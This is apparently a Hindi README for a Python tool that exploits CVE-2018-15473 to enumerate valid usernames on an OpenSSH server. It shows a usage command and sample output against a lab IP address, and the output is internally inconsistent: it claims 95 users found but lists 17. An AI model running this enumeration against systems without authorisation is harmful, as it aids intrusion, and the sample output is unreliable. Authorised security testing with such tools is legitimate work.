CVE-2018-15473 – SSH यूज़रनेम एन्यूमरेशन

मेरे द्वारा विकसित एक Python टूल जो CVE-2018-15473 का दोहन करके मान्य SSH यूज़रनेम की पहचान करता है।

लक्ष्य जानकारी

सेवा: SSH
संस्करण: OpenSSH 5.8p1 Debian 1ubuntu3
ऑपरेटिंग सिस्टम: Ubuntu Linux
प्रोटोकॉल: SSH-2.0
मूल्यांकन: CVE-2018-15473 (SSH यूज़रनेम एन्यूमरेशन) के लिए परीक्षण किया गया

भाषा

Python 3

विशेषताएँ

Python 3 में विकसित।
CVE-2018-15473 का लाभ उठाकर मान्य SSH यूज़रनेम की गणना (एन्यूमरेट) करता है।
कस्टम यूज़रनेम वर्डलिस्ट का समर्थन करता है।
खोजे गए यूज़रनेम को वास्तविक समय में प्रदर्शित करता है।
स्कैन के अंत में सभी मान्य यूज़रनेम का सारांश प्रदान करता है।
हल्का और उपयोग में आसान।

उपयोग

python3 enum_ssh.py usernames.txt

जहाँ usernames.txt में परीक्षण किए जाने वाले यूज़रनेम की सूची होती है।

उदाहरण आउटपुट

[parrot@parrot]-[~]
$ python3 enum_ssh.py usernames.txt

[*] Starting CVE-2018-15473 enumeration against 10.10.10.100:22
[*] Using wordlist: usernames.txt

[+] [EXISTS] -> root
[+] [EXISTS] -> admin
[+] [EXISTS] -> administrator
[+] [EXISTS] -> user
[+] [EXISTS] -> test
[+] [EXISTS] -> guest
[+] [EXISTS] -> demo
[+] [EXISTS] -> operator
[+] [EXISTS] -> sysadmin
[+] [EXISTS] -> security
[+] [EXISTS] -> netadmin
[+] [EXISTS] -> webmaster
[+] [EXISTS] -> support
[+] [EXISTS] -> service
[+] [EXISTS] -> ubuntu
[+] [EXISTS] -> debian
[+] [EXISTS] -> centos
[+] [EXISTS] -> fedora
[+] [EXISTS] -> kali
[+] [EXISTS] -> parrot

========================================
[*] Scan complete.
[*] Found 95 valid user(s):

    - root
    - admin
    - administrator
    - user
    - test
    - guest
    - demo
    - operator
    - sysadmin
    - security
    - netadmin
    - webmaster
    - support
    - service
    - ubuntu
    - debian
    - centos

========================================

अस्वीकरण

यह टूल केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए है। इसका उपयोग केवल उन्हीं प्रणालियों पर करें जिनके लिए आपके पास स्पष्ट अनुमति है।

CVE-2018-15473-User-Enumeration-

सबसे लोकप्रिय